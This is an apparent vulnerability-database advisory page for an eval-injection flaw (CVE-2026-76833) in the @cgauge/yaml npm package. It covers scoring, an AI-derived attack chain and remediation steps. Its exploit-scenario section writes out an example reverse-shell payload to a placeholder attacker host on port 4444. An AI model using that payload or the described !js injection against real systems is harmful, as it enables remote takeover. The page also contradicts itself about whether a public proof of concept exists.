Skip to main content

@cgauge/yaml CVE-2026-76833

| EUVDEUVD-2026-63350 HIGH
Eval Injection (CWE-95)
2026-08-20 VulnCheck GHSA-fqg3-vq72-r4q2
8.4
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft YAML document with malicious !js tag
  2. Delivery
    Deliver document to application YAML parsing endpoint
  3. Exploit
    Parser invokes eval() on tag string value
  4. Execution
    Arbitrary JavaScript executes in Node.js process
  5. Persist
    Exfiltrate environment variables or filesystem data
  6. Impact
    Establish persistent access or lateral movement

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Eval input sanitization
MITRE ATT&CK

1 technique across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires that the target application uses @cgauge/yaml version ≤ 0.27.0 to parse YAML content that contains attacker-controlled values, and that the !js tagged scalar survives any pre-processing intact before reaching the parser. The CVSS 4.0 UI:A metric indicates that some user or automated process must trigger the YAML parsing operation - in web services configured to ingest YAML from external sources, this condition is satisfied automatically on each inbound request. No special configuration of the library is required; the unsafe eval() call is hardcoded in the !js tag handler and cannot be disabled without modifying the library source. Exploitation is limited to environments running Node.js applications that have installed this specific package; applications using alternative YAML parsers (js-yaml, yaml, etc.) are not affected. Authentication to the host application is not a library-level constraint - whether an attacker must authenticate is determined entirely by the application's own access controls.

Impact

The CVSS 4.0 score of 8.4 with vector AV:L/AC:L/AT:N/PR:N/UI:A reflects that the attacker must deliver a malicious YAML document that a user or automated process then parses - the library itself does not listen on a network socket. However, in typical Node.js service deployments that accept YAML from API consumers, file-upload endpoints, or configuration ingestion pipelines, the effective attack vector becomes network-reachable, substantially increasing real-world risk beyond what AV:L implies in isolation. The existence of a public POC (GitHub Gist) dramatically lowers the skill threshold for exploitation. Active exploitation has not been confirmed by CISA KEV, suggesting opportunistic or targeted attacks rather than broad automated scanning at this time. No EPSS data was provided; the low-footprint nature of the package limits aggregate exposure, but any organization that does run it faces critical-severity conditions. The absence of any safe-parsing alternative within the library means runtime mitigation is architectural rather than configurational - risk cannot be reduced without removing the dependency.

Exploit ScenarioDerived

An attacker crafts a YAML document containing a !js tagged scalar with malicious JavaScript - for example, spawn('bash', ['-i', '>& /dev/tcp/attacker/4444', '0>&1']) - and submits it to a Node.js service via a file-upload form, YAML-accepting API endpoint, or configuration import feature. When @cgauge/yaml parses the document, the !js handler calls eval() on the payload, executing the reverse shell or data-exfiltration code in the application's process context with all inherited OS privileges. A public POC on GitHub Gist confirms this technique is functional and adaptable with minimal modification.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 20, 2026

Arbitrary code execution in @cgauge/yaml (all versions ≤ 0.27.0) is achieved by embedding a custom !js YAML tag in a document supplied to the parser; the library's tag handler unconditionally passes the tag's string value to eval(), granting attackers the full authority of the Node.js runtime - including filesystem access, environment variable exfiltration, network calls, and subprocess spawning. No safe-mode parsing option or opt-out mechanism exists in the library, meaning every call site that parses attacker-controlled YAML is unconditionally vulnerable. A public proof-of-concept exploit is available via GitHub Gist, and no vendor-released patch has been identified at time of analysis.

RemediationAI

No vendor-released patch has been identified at time of analysis; the absence of patch data is inferred from the references provided, not confirmed by an explicit vendor statement. The primary remediation is to remove @cgauge/yaml from all dependency trees and replace it with a YAML library that does not implement unsafe tag construction - suitable alternatives include js-yaml used via its safeLoad / load API (which rejects custom tag handlers by default) or the yaml package with custom tag schemas disabled. If immediate removal is not feasible, all code paths that invoke @cgauge/yaml must be audited and any YAML input originating from untrusted sources (API bodies, user uploads, external feeds) must be rejected or stripped at the network or application boundary before reaching the parser - note that stripping !js tags via regex pre-processing is fragile and not recommended as a durable control. VulnCheck advisory: https://www.vulncheck.com/advisories/cgauge-yaml-npm-package-arbitrary-code-execution-via-eval-yaml-tag. Public POC: https://gist.github.com/arjunjaincs/35da3a80b4b16f324f194acec18489ba.

Affected VersionsENISA

@cgauge/yaml 0 ≤0.27.0

Affected Packages

euvd cgauge_yaml no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The root cause is CWE-95 (Eval Injection): the @cgauge/yaml library (CPE cpe:2.3:a:cgauge:@cgauge/yaml:*:*:*:*:*:*:*:*) implements a custom YAML tag !js whose construct callback passes the raw tag string value directly to JavaScript's eval() function with no sanitization, allowlisting, or sandboxing. The YAML specification permits custom tag handlers as extension points for embedding domain-specific types, but invoking eval() on untrusted content at parse time is an inherently unsafe design: it conflates the data plane with the code plane. Because Node.js eval() executes within the same V8 isolate and process context as the host application, there is no privilege boundary - the injected code inherits all OS-level permissions held by the Node.js process. The library is distributed as an npm package within the cgauge monorepo (https://github.com/cgauge/packages) and is affected across its entire release history through 0.27.0, per EUVD-2026-63350.

Know when Node.js gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 8.4 HIGH
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 8.8 HIGH

Typical Node.js deployments expose YAML parsing over the network making AV:N appropriate; eval() grants full C/I/A; UI:R reflects parsing must be triggered on the malicious document.

3.1 AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Local
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Active
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

DescriptionCVE.org

@cgauge/yaml npm package contains an arbitrary code execution vulnerability that allows attackers to execute arbitrary JavaScript by embedding a custom !js YAML tag whose construct callback unconditionally calls eval() on attacker-supplied string values during document parsing. Any application parsing untrusted YAML input with this library exposes full Node.js runtime authority, including environment variable access, filesystem read/write, network access, and subprocess execution, with no safe-mode alternative or opt-out mechanism available.

Executive ViewAI

Why It Matters

The @cgauge/yaml library (all versions through 0.27.0) contains an arbitrary code execution vulnerability that allows attackers to execute arbitrary code with full Node.js runtime privileges through malicious YAML documents. Any application using this library to parse untrusted YAML input faces immediate risk of system compromise, data exfiltration, and lateral movement within the network. With a public proof-of-concept exploit available and no vendor patch identified, this vulnerability requires urgent remediation through immediate dependency audit and library replacement.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) restrict YAML parsing to trusted, internally-sourced input only; (2) implement strict input validation to reject any YAML documents containing custom tags; (3) execute YAML parsing in a sandboxed process with minimal filesystem, network, and subprocess permissions; (4) prioritize urgent migration to a secure alternative library as the primary remediation path.

Threat Intelligence Overview

EPSS Score
0.2%
Top 95% exploitable
Prevalence
Low
niche npm package, limited ecosystem adoption vs mainstream YAML libs
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.2%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Small
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

42
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +42
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

CVE-2025-68613 HIGH POC
8.8 Dec 19

Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation

CVE-2024-41713 CRITICAL POC
9.1 Oct 21

A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2023-44487 HIGH POC
7.5 Oct 10

Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2013-4660 MEDIUM POC
6.8 Jun 28

The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy